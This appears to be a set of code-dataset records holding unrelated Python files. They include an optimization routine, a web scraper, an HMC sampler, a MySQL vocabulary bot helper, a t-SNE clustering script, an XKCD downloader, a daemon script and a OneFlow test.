ansatz to use and parse options if needed\n # if `protocol_name` is NOT a string, then it is assumed to have been given\n # directly as a protocol_ansatz object\n if not isinstance(protocol_name, str):\n logging.info('Using custom protocol ansatz.')\n protocol = protocol_name\n elif protocol_name == 'doublebang':\n logging.info('Using doublebang protocol ansatz.')\n protocol = DoubleBangProtocolAnsatz()\n elif protocol_name == 'bangramp':\n logging.info('Using bangramp protocol ansatz.')\n protocol = BangRampProtocolAnsatz()\n elif protocol_name == 'crab':\n logging.info('Using CRAB protocol ansatz.')\n\n protocol_options = optimization_specs.get('protocol_options', {})\n # determine number of frequencies to use with CRAB protocol\n if 'num_frequencies' not in protocol_options:\n # default value kind of picked at random\n num_frequencies = 2\n logging.info('(CRAB) Default value of {} frequencies chosen for th'\n 'e optimization'.format(num_frequencies))\n else:\n num_frequencies = protocol_options['num_frequencies']\n logging.info('(CRAB) Using {} frequencies.'.format(num_frequencies))\n\n # fix starting and final points for pulse protocol in the case of\n # critical state generation task\n protocol = CRABProtocolAnsatz(num_frequencies=num_frequencies)\n\n protocol.fill_hyperpar_value(y0=task['initial_intensity'],\n y1=task['final_intensity'])\n else:\n raise ValueError('Unrecognised protocol.')\n\n # the scan_times option indicates that we want to perform a series of\n # optimizations for various values of the time parameter\n if 'scan_times' in other_options:\n\n # parse initial parameters\n critical_value = hamiltonian.critical_value\n if 'initial_parameters' not in optimization_specs:\n # if not explicitly given, use as default double the critical\n # point for intensities and the timeframe for times\n if protocol == 'doublebang':\n init_pars = [[0., 2 * critical_value], 'halftime',\n [0., 2 * critical_value]]\n elif protocol == 'bangramp':\n init_pars = [[0., 2 * critical_value], 'halftime',\n [0., 2 * critical_value],\n [0., 2 * critical_value]]\n elif protocol == 'crab' or protocol == 'crabVarEndpoints':\n # I don't know, let's just try with amplitudes randomly\n # sampled in the [-1, 1] interval (why not right?)\n init_pars = [[-0.1, 0.1]] * (2 * protocol.num_frequencies)\n else:\n raise ValueError('For custom protocols the initial parameters '\n 'must be given explicitly.')\n else:\n # if explicitly given, just assume the values make sense for\n # _optimize_model_parameters_scan_times\n init_pars = optimization_specs['initial_parameters']\n\n CRAB_AMPS_BOUNDS = [-200, 200]\n # parse parameters constraints\n if 'parameters_constraints' not in optimization_specs:\n # if not explicitly given, we generate boundaries similar to\n # those generated for default initial parameters\n critical_range = [-2 * critical_value, 2 * critical_value]\n if protocol == 'doublebang' or protocol == 'bangramp':\n protocol.constrain_intensities(critical_range)\n elif protocol == 'crab' or protocol == 'crabVarEndpoints':\n # not sure if this will work well in general, but in this\n # case we impose very weak constraints on the parameters,\n # and then the actual constraints are on the overall pulse\n protocol.constrain_all_amplitudes(CRAB_AMPS_BOUNDS)\n protocol.set_total_height_constraints(critical_range)\n else:\n pars_constraints = optimization_specs['parameters_constraints']\n if isinstance(pars_constraints, (tuple, list)):\n if len(pars_constraints) == 2:\n if protocol == 'crab' or protocol == 'crabVarEndpoints':\n protocol.constrain_all_amplitudes(CRAB_AMPS_BOUNDS)\n protocol.set_total_height_constraints(pars_constraints)\n else:\n protocol.constrain_intensities(pars_constraints)\n else:\n protocol.add_parameter_constraints(pars_constraints)\n\n logging.info('Using parameters constraints: {}'.format(\n protocol.pars_constraints))\n logging.info('Using total height constraint: {}'.format(\n protocol.total_height_constraint))\n\n hamiltonian.td_protocol = protocol\n # run optimization\n stopping_condition = other_options.get('stopping_condition', None)\n results = _optimize_model_parameters_scan_times(\n times_to_try=other_options['scan_times'],\n hamiltonian=hamiltonian,\n initial_state=initial_state, target_state=target_state,\n initial_parameters=init_pars,\n optimization_method=optim_method,\n optimization_options=optim_options,\n solver_options=solver_options,\n stopping_condition=stopping_condition\n )\n return results\n \n else: # only scan_times works atm\n raise NotImplementedError('Only scan_times works atm, sorry.')\n \n\n","sub_path":"src/optimization.py","file_name":"optimization.py","file_ext":"py","file_size_in_byte":27527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"189733606","text":"import scrapy\n\n# The purpose of this spider is to obtain json files storing 3D models of Singapore\n# the urls follow such pattern :\n# https://a.data.osmbuildings.org/0.2/anonymous/tile/15/25818/16266.json\n#\t25818 is the x parameter while 16266 is the y parameter\n#\twe will iterate from 25810 to 25830 and from 16250 to 16270\n\n\n\nclass QuotesSpider(scrapy.Spider):\n\tname = \"interceptSG\"\n\n\tdef start_requests(self):\n\t\turls = []\n\t\t# construct the array of urls \n\t\tfor y in range(16250,16271):\n\t\t\tfor x in range(25810,25831):\n\t\t\t\tyString = str(y) \n\t\t\t\txString = str(x)\n\t\t\t\turl = ('https://a.data.osmbuildings.org/0.2/anonymous/tile/15/%s/%s.json'%(xString,yString))\t\t\t\t\n\t\t\t\turls.append({'url':url,'name':xString + '_' + yString}) # pass the name as well e.g. 25810_16266\n\t\t\n\t\t\n\t\tfor url in urls:\n\t\t\tyield scrapy.Request(url=url['url'], callback=self.parse, meta = {'name': url['name']}) # pass the name as meta data\n\n\tdef parse(self, response):\n\t\tfilename = response.meta['name'] + '.json'\n\t\twith open(filename, 'w') as f:\n\t\t\tf.write(response.text)\n\t\tself.log('----------------------------')\n\t\tself.log('--- Saved file %s' % filename)","sub_path":"obsolete/JPS_Version_0/OSMB/OSMBInterception/OSMBInterception/spiders/interceptionSG.py","file_name":"interceptionSG.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"337510488","text":"'''hmc generator\n'''\nimport numpy as np\nfrom math import sqrt, exp, log\nfrom numpy.random import randn, rand\nimport matplotlib.pyplot as plt\n\ndef hmc(U, dU, x0=None, dt = .0001, D=2, BURNIN=5000, VERBOSE=False, POINTS=10, AC=0.3, STEPS=10, bndchk=None):\n\n decay = 0.1\n decay_dt = 0.01\n DECAY_FACTOR = 1/exp(log(10000)/BURNIN)\n\n K = lambda p: np.sum(p*p, axis=0)/2\n dK = lambda p: p\n\n pStar = np.random.randn(D, POINTS)\n if x0 is None:\n xStar = np.random.randn(D, POINTS)\n else:\n xStar = x0\n\n H = np.sum(U(xStar) + K(pStar))\n\n x = xStar\n j = 0\n while True:\n xStar = x\n K0 = np.clip(H - U(xStar).sum(),1e-3,H)\n p0 = np.random.randn(D, POINTS)\n K1 = K(p0).sum()\n r0 = np.sqrt(K1/K0)\n pStar = p0 / r0\n E = [U(xStar)]\n for s in range(STEPS):\n xStar = xStar + dt*dK(pStar)\n pStar = pStar - dt*dU(xStar)\n E.append(U(xStar))\n alpha = np.exp(np.clip(U(x)- U(xStar),-10,0))\n ridx = alpha < np.random.rand(POINTS)\n xStar[:,ridx] = x[:,ridx]\n if bndchk is not None:\n bndidx = bndchk(xStar)\n xStar[:,bndidx] = x[:,bndidx]\n yield xStar\n\n x = xStar\n\n #M = np.mean(np.array(E).argmax(axis=0))\n #m = np.mean(np.array(E).argmin(axis=0))\n S = np.unique(np.array(E).argmax(axis=0)).size\n s = np.unique(np.array(E).argmin(axis=0)).size\n\n if j < BURNIN:\n turned_AC = np.random.randn()*min(AC,1-AC)/6 + AC\n if alpha.mean() > turned_AC:\n H = H*(1+decay)\n elif alpha.mean() < turned_AC:\n H = H/(1+decay)\n if s==2 or S==2:\n dt = dt*(1+decay_dt)\n elif S > 2:\n dt = dt/(1+decay_dt)\n decay = decay * DECAY_FACTOR\n decay_dt = decay_dt * DECAY_FACTOR\n if VERBOSE and j % 100 == 0:\n print(j, np.mean(alpha),dt,M,m,S,s)\n j = j + 1\n\n\nif __name__ == '__main__':\n np.random.seed(0)\n POINTS = 1000\n BURNIN = 5000\n D = 2\n SIGMA = np.array([[1, .9],[.9, 1]])\n U = lambda x: np.sum(x * np.linalg.solve(SIGMA,x), axis = 0)/2\n dU = lambda x: np.linalg.solve(SIGMA, x)\n gen = hmc(U, dU, D=D, BURNIN=BURNIN, POINTS=POINTS)\n xs = []\n for j in range(10000):\n x = next(gen)\n if j>BURNIN:\n xs.append(x)\n\n print(np.cov(np.array(xs).reshape(-1,D).T))\n","sub_path":"hmc_multi_gen.py","file_name":"hmc_multi_gen.py","file_ext":"py","file_size_in_byte":2459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"262218765","text":"from html.parser import HTMLParser\nimport urllib.request\n\n\nclass MyHTMLParser(HTMLParser):\n\n flag = False\n colour_code = ''\n colors = {}\n\n def handle_starttag(self, tag, attrs):\n for attr in attrs:\n if \"style\" in attr:\n split = attr[1].split(\":\")\n self.colour_code = split[1][:-1]\n self.flag = True\n\n def handle_data(self, data):\n if self.flag:\n if data not in self.colors.keys():\n self.colors[data] = self.colour_code\n self.flag = False\n\n\nurl = \"https://www.colorhexa.com/color-names\"\n\nmyparser = MyHTMLParser()\nwith urllib.request.urlopen(url) as response:\n html = str(response.read())\n\nmyparser.feed(html)\n\nfor k, v in myparser.colors.items():\n print(k, v)\n\n","sub_path":"assignments/parsing/color/lib/python3.7/site-packages/colorscraper.py","file_name":"colorscraper.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"480229536","text":"import mysql.connector\nfrom mysql.connector import errorcode\nimport sys\nimport settings\n\ntry:\n db = mysql.connector.connect(\n host=settings.bd_host,\n user=settings.bd_user,\n passwd=settings.bd_passwd,\n database=settings.bd_database\n )\n\nexcept mysql.connector.Error as err:\n if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:\n print(\"Try again\")\n sys.exit()\n elif err.errno == errorcode.ER_BAD_DB_ERROR:\n print(\"Database does not exist\")\n sys.exit()\n else:\n print(err)\n sys.exit()\n\ncursor = db.cursor()\n\n\ndef add_to_db(user_words, user_id):\n \"\"\"\n :param user_words: Two-word list(1-eng, 2-rus)\n :param user_id: User_id in the tg\n :return: Adds words to the database\n \"\"\"\n eng_word, rus_word = [i.strip() for i in user_words.split('.')]\n sql = \"INSERT INTO words (eng_word, rus_word, user_id) VALUES (%s, %s, %s)\"\n val = (eng_word.lower(), rus_word.lower(), user_id)\n cursor.execute(sql, val)\n db.commit()\n\n\ndef take_user_words(user_id):\n query = \"SELECT eng_word, rus_word FROM words WHERE user_id=\" + str(\n user_id) + \" \" + \"ORDER BY RAND() LIMIT 1\"\n cursor.execute(query)\n trash = cursor.fetchall()\n list_of_words = [trash[0][0], trash[0][1]]\n return list_of_words\n\n\ndef take_other_words():\n query = \"SELECT eng_word, rus_word FROM words ORDER BY RAND() LIMIT 1\"\n cursor.execute(query)\n trash = cursor.fetchall()\n random_words = [trash[0][0], trash[0][1]]\n return random_words\n\n\ndef words_to_learn(user_id):\n query = \"SELECT eng_word, rus_word FROM words WHERE user_id=\" + str(\n user_id) + \" \" + \"ORDER BY RAND() LIMIT 5\"\n cursor.execute(query)\n trash = cursor.fetchall()\n result = ''\n for a, b in trash:\n result += '{} - {}\\n'.format(a, b)\n return result\n","sub_path":"bd.py","file_name":"bd.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"285312898","text":"from rest_framework import serializers\nfrom . import validators\nfrom .models import Category, Event, FollowedHashTag, EventHistory\nfrom tickets.helpers import TicketGenerator\nfrom tickets.serializers import TicketTemplateSerializer\nfrom drf_extra_fields.geo_fields import PointField\n\n\n\n\n\nclass CategorySerializer(serializers.ModelSerializer):\n class Meta:\n model = Category\n fields = ('name', 'slug',)\n read_only_fields = ('slug',)\n \n \n \n \n \nclass EventHistorySerializer(serializers.ModelSerializer):\n class Meta:\n model = EventHistory\n exclude = ('id',)\n extra_kwargs = {\n 'event': { \n 'write_only': True \n }\n }\n \n \n \n \n \nclass FollowedHashTagSerializer(serializers.ModelSerializer):\n class Meta:\n model = FollowedHashTag\n fields = ('value',)\n \n \n \n\n\nclass EventSimpleSerializer(serializers.ModelSerializer):\n class Meta:\n model = Event\n fields = ('id', 'title', 'location' ,'event_datetime', 'category', 'is_free',)\n\n\n\n\n\nclass EventDetailSerializer(serializers.ModelSerializer):\n ticket = TicketTemplateSerializer(write_only=True, required=False)\n histories = EventHistorySerializer(many=True, read_only=True)\n location = PointField()\n\n class Meta:\n model = Event\n fields = '__all__'\n read_only_fields = ('created_at', 'updated_at', 'promoter', 'took_place',)\n validators = [validators.CheckIfTicketProvidedIfPrivate()]\n extra_kwargs = {\n 'category': { 'required': True },\n 'location': { 'required': True }\n }\n \n def validate_ticket(self, value):\n if 'quantity' not in value or 'template' not in value:\n raise serializers.ValidationError(\"Please valid 'ticket' field\")\n \n def create(self, validated_data):\n ticket = validated_data.pop('ticket', None)\n event = Event.objects.create(**validated_data)\n TicketGenerator.generate_if_provided(validated_data, ticket, event)\n return event\n \n def update(self, instance, validated_data):\n ticket = validated_data.pop('ticket', None)\n TicketGenerator.generate_if_provided(validated_data, ticket, instance)\n return super(EventDetailSerializer, self).update(instance, validated_data)\n ","sub_path":"core/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"244284652","text":"# Em uma prova de concurso com 70 questões haviam 20 pessoas concorrendo. Sabendo que\n# cada questão vale 1 ponto, escreva um algoritmo que lê a pontuação da prova obtida de cada\n# um dos candidatos e calcula:\n\n# a) a maior e a menor nota\n# b) o percentual de candidatos que acertaram até 20 questões, o percentual que acertaram\n# de 21 a 50 e o percentual que acertou acima de 50 questões\n\n\n#nota do 1° candidato\nnota = int(input(\"Digite a Nota: \"))\nmaior = nota\nmenor = nota\n\nsomaAte20Questoes = 2\nsomaAte50Questoes = 2\n\n#notas dos demais candidatos\ncontador = 2\nwhile contador <= 4:\n nota = int(input(\"Digite a Nota: \"))\n if (nota < menor):\n menor = nota\n if (nota> maior):\n maior = nota\n\n contador = contador + 1\n\n if(nota <= 20):\n somaAte20Questoes += 1\n elif(nota >= 21 or nota <= 50):\n somaAte50Questoes += 1\n\nprint(\"Maior Nota: \", maior)\nprint(\"Menor Nota: \", menor)\npercentual = (somaAte20Questoes / 70) * 100\nprint(\"Percentual dos que acertaram até 20 questões: \", percentual)\npercentual = (somaAte50Questoes / 70) * 100\nprint(\"Percentual dos que acertaram até 50 questões: \", percentual)\n\n\n\n\n","sub_path":"Beginning with Python/04Exe/06ExeCalcularPontuacaoObtidaEmTorneio.py","file_name":"06ExeCalcularPontuacaoObtidaEmTorneio.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"310005036","text":"import argparse\nfrom tqdm import tqdm\nimport cv2\nimport torch\nimport random\nimport numpy as np\nimport colorsys\nfrom shutil import copyfile, rmtree\nfrom os import path, mkdir\nfrom os.path import isdir, basename, normpath, join\n\nimport matplotlib.pyplot as plt\n\nfrom sklearn import metrics\nfrom sklearn.cluster import KMeans\nfrom sklearn.manifold import TSNE\n# from gap_statistic import OptimalK\nfrom OptimalK import OptimalK\nfrom dataset import Dataset, collate_skip_empty\nfrom resnet import ResNet101\n\ncolors_per_cluster = {}\n\n\ndef fix_random_seeds():\n seed = 10\n random.seed(seed)\n torch.manual_seed(seed)\n np.random.seed(seed)\n\n\ndef get_features(dataset, batch):\n # move the input and model to GPU for speed if available\n if torch.cuda.is_available():\n device = 'cuda'\n else:\n device = 'cpu'\n\n # initialize our implementation of ResNet\n model = ResNet101(pretrained=True)\n model.eval()\n model.to(device)\n\n # read the dataset and initialize the data loader\n dataset = Dataset(dataset)\n dataloader = torch.utils.data.DataLoader(dataset, batch_size=batch, collate_fn=collate_skip_empty, shuffle=True)\n\n # we'll store the features as NumPy array of size num_images x feature_size\n features = None\n\n # we'll also store the image labels and paths to visualize them later\n image_paths = []\n\n for batch in tqdm(dataloader, desc='Running the model inference'):\n images = batch['image'].to(device)\n image_paths += batch['image_path']\n\n with torch.no_grad():\n output = model.forward(images)\n\n current_features = output.cpu().numpy()\n if features is not None:\n features = np.concatenate((features, current_features))\n else:\n features = current_features\n\n return features, image_paths\n\n\n# scale and move the coordinates so they fit [0; 1] range\ndef scale_to_01_range(x):\n # compute the distribution range\n value_range = (np.max(x) - np.min(x))\n\n # move the distribution so that it starts from zero\n # by extracting the minimal value from all its values\n starts_from_zero = x - np.min(x)\n\n # make the distribution fit [0; 1] by dividing by its range\n return starts_from_zero / value_range\n\n\ndef scale_image(image, max_image_size):\n image_height, image_width, _ = image.shape\n\n scale = max(1, image_width / max_image_size, image_height / max_image_size)\n image_width = int(image_width / scale)\n image_height = int(image_height / scale)\n\n image = cv2.resize(image, (image_width, image_height))\n return image\n\n\ndef draw_rectangle_by_class(image, label):\n image_height, image_width, _ = image.shape\n\n # get the color corresponding to image class\n color = colors_per_cluster[label]\n image = cv2.rectangle(image, (0, 0), (image_width - 1, image_height - 1), color=color, thickness=5)\n\n return image\n\n\ndef compute_plot_coordinates(image, x, y, image_centers_area_size, offset):\n image_height, image_width, _ = image.shape\n\n # compute the image center coordinates on the plot\n center_x = int(image_centers_area_size * x) + offset\n\n # in matplotlib, the y axis is directed upward\n # to have the same here, we need to mirror the y coordinate\n center_y = int(image_centers_area_size * (1 - y)) + offset\n\n # knowing the image center, compute the coordinates of the top left and bottom right corner\n tl_x = center_x - int(image_width / 2)\n tl_y = center_y - int(image_height / 2)\n\n br_x = tl_x + image_width\n br_y = tl_y + image_height\n\n return tl_x, tl_y, br_x, br_y\n\n\ndef visualize_tsne_images(tx, ty, images, labels, output, plot_size=1000, max_image_size=100):\n # we'll put the image centers in the central area of the plot\n # and use offsets to make sure the images fit the plot\n offset = max_image_size // 2\n image_centers_area_size = plot_size - 2 * offset\n\n tsne_plot = 255 * np.ones((plot_size, plot_size, 3), np.uint8)\n\n # now we'll put a small copy of every image to its corresponding T-SNE coordinate\n for image_path, label, x, y in tqdm(\n zip(images, labels, tx, ty),\n desc='Building the T-SNE plot',\n total=len(images)\n ):\n image = cv2.imread(image_path)\n\n # scale the image to put it to the plot\n image = scale_image(image, max_image_size)\n\n # draw a rectangle with a color corresponding to the image class\n image = draw_rectangle_by_class(image, label)\n\n # compute the coordinates of the image on the scaled plot visualization\n tl_x, tl_y, br_x, br_y = compute_plot_coordinates(image, x, y, image_centers_area_size, offset)\n\n # put the image to its TSNE coordinates using numpy subarray indices\n tsne_plot[tl_y:br_y, tl_x:br_x, :] = image\n\n plt.imshow(tsne_plot[:, :, ::-1])\n plt.savefig(path.join(output, \"tsne_images.png\"))\n\ndef visualize_tsne_points(tx, ty, labels, output):\n # initialize matplotlib plot\n fig = plt.figure()\n ax = fig.add_subplot(111)\n\n # for every class, we'll add a scatter plot separately\n for label in colors_per_cluster:\n # find the samples of the current class in the data\n indices = [i for i, l in enumerate(labels) if l == label]\n\n # extract the coordinates of the points of this class only\n current_tx = np.take(tx, indices)\n current_ty = np.take(ty, indices)\n\n # convert the class color to matplotlib format:\n # BGR -> RGB, divide by 255, convert to np.array\n color = np.array([colors_per_cluster[label][::-1]], dtype=float) / 255\n\n # add a scatter plot with the correponding color and label\n ax.scatter(current_tx, current_ty, c=color, label=label)\n\n # build a legend using the labels we set previously\n ax.legend(loc='best')\n\n # finally, show the plot\n plt.savefig(path.join(output, \"tsne_points.png\"))\n\n\ndef cluster(tsne):\n def scale(x):\n minimum = min(list(x.values()))\n # compute the distribution range\n value_range = (max(list(x.values())) - minimum)\n\n # move the distribution so that it starts from zero\n # by extracting the minimal value from all its values\n temp = {}\n for i in x.keys():\n temp[i] = (x[i] - minimum) / value_range\n\n # make the distribution fit [0; 1] by dividing by its range\n return temp\n\n # scale and move the coordinates so they fit [0; 1] range\n # X = scale_to_01_range(tsne[:, 0])\n # y = scale_to_01_range(tsne[:, 1])\n X = scale_to_01_range(tsne)\n k_min = 2\n k_max = 20\n\n k = range(k_min, k_max + 1)\n\n y_preds = {}\n\n # Silhouette Score\n sil = {}\n # DB-Index\n db = {}\n # CH-Index\n ch = {}\n\n for i in k:\n kmeans = KMeans(n_clusters=i, max_iter=1000, random_state=43).fit(X)\n score = metrics.silhouette_score(X, kmeans.labels_)\n sil[i] = score\n\n y_pred = KMeans(n_clusters=i, max_iter=1000, random_state=43).fit_predict(X)\n y_preds[i] = y_pred\n score = metrics.davies_bouldin_score(X, y_pred)\n db[i] = -score\n\n score = metrics.calinski_harabasz_score(X, y_pred)\n ch[i] = score\n\n sil = scale(sil)\n db = scale(db)\n ch = scale(ch)\n\n # plt.plot(k, sil, 'o-')\n # plt.xlabel(\"Value for k\")\n # plt.ylabel(\"Silhouette score\")\n # plt.title('Silhouette Method')\n # plt.show()\n #\n # plt.plot(k, db, 'o-')\n # plt.title('DAVIES-BOULDIN')\n # plt.show()\n #\n # plt.plot(k, ch, 'o-')\n # plt.title('CALINSKI-HARABASZ')\n # plt.show()\n\n # Gap\n optimalK = OptimalK(parallel_backend='None')\n optimalK(X, cluster_array=np.arange(1, k[-1]))\n\n gap = scale_to_01_range(optimalK.gap_df.gap_value)\n # plt.plot(optimalK.gap_df.n_clusters, gap, linewidth=3)\n #\n # plt.xlabel('Cluster Count')\n # plt.ylabel('Gap Value')\n # plt.title('Gap Values by Cluster Count')\n # plt.show()\n\n sil_max = 2\n db_max = 2\n ch_max = 2\n gap_max = 2\n ave_max = 2\n ave = {2: (sil[2] + db[2] + ch[2] + gap[2]) / 4}\n\n for i in range(k_min + 1, k_max + 1):\n if sil[i] > sil[sil_max]:\n sil_max = i\n if db[i] > db[db_max]:\n db_max = i\n if ch[i] > ch[ch_max]:\n ch_max = i\n if gap[i - k_min] > gap[gap_max - k_min]:\n gap_max = i\n\n ave[i] = (sil[i] + db[i] + ch[i] + gap[i - k_min]) / 4\n if ave[i] > ave[ave_max]:\n ave_max = i\n\n print(sil_max)\n print(db_max)\n print(ch_max)\n print(gap_max)\n print(ave_max)\n\n return y_preds[ave_max], ave_max\n\n\ndef visualize_tsne(tsne, images, labels, output, plot_size=1000, max_image_size=100):\n # extract x and y coordinates representing the positions of the images on T-SNE plot\n tx = tsne[:, 0]\n ty = tsne[:, 1]\n\n # scale and move the coordinates so they fit [0; 1] range\n tx = scale_to_01_range(tx)\n ty = scale_to_01_range(ty)\n\n # visualize the plot: samples as colored points\n visualize_tsne_points(tx, ty, labels, output)\n\n # visualize the plot: samples as images\n visualize_tsne_images(tx, ty, images, labels, output, plot_size=plot_size, max_image_size=max_image_size)\n\n\ndef hsv2rgb(h, s, v):\n return tuple(round(i * 255) for i in colorsys.hsv_to_rgb(h, s, v))\n\n\ndef main():\n parser = argparse.ArgumentParser()\n\n parser.add_argument('--path', type=str, default='data')\n parser.add_argument('--output', type=str, default='clusters')\n parser.add_argument('--batch', type=int, default=64)\n\n args = parser.parse_args()\n \n dataset_name = basename(normpath(args.path))\n\n output = args.output\n if not isdir(output):\n mkdir(output)\n \n output = join(output, dataset_name)\n if isdir(output):\n rmtree(output)\n if not isdir(output):\n mkdir(output)\n\n fix_random_seeds()\n\n features, image_paths = get_features(\n dataset=args.path,\n batch=args.batch\n )\n\n tsne = TSNE(n_components=2).fit_transform(features)\n\n clusters, num_clusters = cluster(tsne)\n\n for i in range(num_clusters):\n hsv = i * 1.0 / num_clusters\n colors_per_cluster[i] = hsv2rgb(hsv, 0.75, 0.75)\n\n folder = \"cluster_\" + str(i)\n\n full_path = path.join(output, folder)\n\n if not isdir(full_path):\n mkdir(full_path)\n\n for i in range(len(image_paths)):\n folder = \"cluster_\" + str(clusters[i])\n file = image_paths[i].split('/')[-1]\n file = path.join(output, folder, file)\n copyfile(image_paths[i], file)\n\n visualize_tsne(tsne, image_paths, clusters, output)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"tsne.py","file_name":"tsne.py","file_ext":"py","file_size_in_byte":10636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"287710646","text":"'''\nDownload XKCD comics\n\n@author: DivjotArora\n'''\nimport requests, os, bs4\n\ndef main():\n #make an xkcd folder if it doesn't exist \n url = \"https://xkcd.com/500\"\n if not os.path.isdir(\"xkcd\"):\n print(\"hi\")\n os.makedirs(\"xkcd\")\n \n while not url.endswith(\"#\"):\n #download xkcd page\n response = requests.get(url) \n response.raise_for_status()\n soup = bs4.BeautifulSoup(response.text, \"html.parser\")\n \n #find and download image \n comics = soup.select('#comic img')\n if len(comics) != 0:\n try:\n imageUrl = \"https:\" + comics[0].get('src')\n response = requests.get(imageUrl)\n response.raise_for_status()\n except requests.exceptions.MissingSchema:\n print(\"exception occurred\")\n url = getPreviousUrl(soup)\n continue \n \n #write image to file and store file in xkcd folder \n file = open(os.path.join('xkcd', os.path.basename(imageUrl)), \"wb\")\n for content in response.iter_content():\n file.write(content)\n \n file.close()\n url = getPreviousUrl(soup)\n\n\"\"\"\nReturn the URL for the previous page given a Beautiful Soup object\n\"\"\"\ndef getPreviousUrl(soup):\n return \"https://xkcd.com\" + soup.select('a[rel=\"prev\"]')[0].get(\"href\")\n\nmain()\n","sub_path":"Download_Comics.py","file_name":"Download_Comics.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"200801732","text":"import os\nimport signal\nimport sys\nimport traceback\nimport time\n\nfrom subprocess import Popen\n\nfrom main import create_server\n\nCOMMANDS = ['start', 'stop', 'restart']\n\n\ndef setsavedpid(pid):\n f = open(\"pid.txt\", \"w\")\n f.write(str(pid))\n \ndef getsavedpid():\n try:\n f = open(\"pid.txt\", \"r\")\n return int(f.read())\n except IOError:\n return 0\n \ndef deletesavepid():\n try:\n os.remove(\"pid.txt\")\n except OSError:\n pass\n \ndef getstartedpid(): \n \"\"\" Check For the existence of a unix pid. \"\"\"\n pid = getsavedpid()\n try:\n os.kill(pid, 0)\n except OSError:\n return 0\n else:\n return pid\n\ndef kill_process(pid):\n os.kill(pid, signal.SIGKILL)\n\ndef start():\n if not getstartedpid():\n P = Popen([\n 'python', os.path.abspath(__file__),\n 'daemon',\n ])\n pid = P.pid\n setsavedpid(pid)\n print('Server started (pid {}).'.format(pid))\n else:\n print('Server already started.')\n\ndef stop():\n pid = getsavedpid()\n if pid:\n try:\n kill_process(pid)\n print('Server stoped (pid {})'.format(pid))\n except:\n print('Server not started (pid {})'.format(pid))\n deletesavepid()\n else:\n print('Server not started')\n\ndef restart():\n stop()\n time.sleep(1)\n start()\n time.sleep(1)\n\ndef daemon():\n try:\n create_server()\n except:\n traceback.print_exc()\n\nif __name__ == \"__main__\":\n num = len(sys.argv)\n if sys.argv[1] in (COMMANDS + ['daemon']):\n cmd = sys.argv[1]\n globals()[cmd]()\n else:\n print('Error: invalid command')\n print('Usage: python daemon.py {%s}.' % '|'.join(COMMANDS))\n","sub_path":"daemon.py","file_name":"daemon.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"240502136","text":"\"\"\"\nCopyright 2020 The OneFlow Authors. All rights reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\nimport numpy as np\nimport oneflow as flow\nimport oneflow.typing as oft\n\nfrom collections import OrderedDict\n\nfrom test_util import GenArgList\nfrom test_util import type_name_to_flow_type\nfrom test_util import type_name_to_np_type\n\nimport test_global_storage\n\n\ndef _compare_with_numpy(test_case, np_func, x, y, axis, keepdims=True):\n x = test_global_storage.Get(\"x\")\n dx = test_global_storage.Get(\"x_diff\")\n np_y = np_func(x, axis=axis, keepdims=True)\n test_case.assertTrue(np.allclose(y, np_y, rtol=1e-5, atol=1e-5))\n mask = np.where(x == y, 1, 0)\n count = np.add.reduce(mask, axis=axis, keepdims=True)\n np_dx = np.where(x == y, 1 / count, 0)\n test_case.assertTrue(np.allclose(dx, np_dx, rtol=1e-5, atol=1e-5))\n\n\ndef _test_two_stage_reduce(\n test_case, flow_func, np_func, device_type, axis, split_axis\n):\n flow.clear_default_session()\n flow.config.gpu_device_num(4)\n func_config = flow.FunctionConfig()\n func_config.default_data_type(flow.float)\n func_config.default_logical_view(flow.scope.consistent_view())\n\n @flow.global_function(type=\"train\", function_config=func_config)\n def two_stage_reduce_job(x: oft.Numpy.Placeholder((4, 20, 20, 20))):\n with flow.scope.placement(device_type, \"0:0\"):\n x += flow.get_variable(\n name=\"v1\",\n shape=(1,),\n dtype=flow.float,\n initializer=flow.zeros_initializer(),\n )\n with flow.scope.placement(device_type, \"0:0-3\"):\n loss = flow_func(\n x.with_distribute(flow.distribute.split(split_axis)),\n axis=axis,\n keepdims=True,\n )\n loss = flow.identity(loss)\n flow.optimizer.SGD(\n flow.optimizer.PiecewiseConstantScheduler([], [1e-4]), momentum=0\n ).minimize(loss)\n\n flow.watch(x, test_global_storage.Setter(\"x\"))\n flow.watch_diff(x, test_global_storage.Setter(\"x_diff\"))\n return loss\n\n x = np.random.randint(low=0, high=10, size=(4, 20, 20, 20)).astype(np.float32)\n y = two_stage_reduce_job(x).get().numpy()\n _compare_with_numpy(test_case, np_func, x, y, axis=tuple(axis))\n\n\ndef test_two_stage_reduce_max(test_case):\n arg_dict = OrderedDict()\n arg_dict[\"flow_func\"] = [flow.math.two_stage_reduce_max]\n arg_dict[\"np_func\"] = [np.maximum.reduce]\n arg_dict[\"device_type\"] = [\"cpu\", \"gpu\"]\n 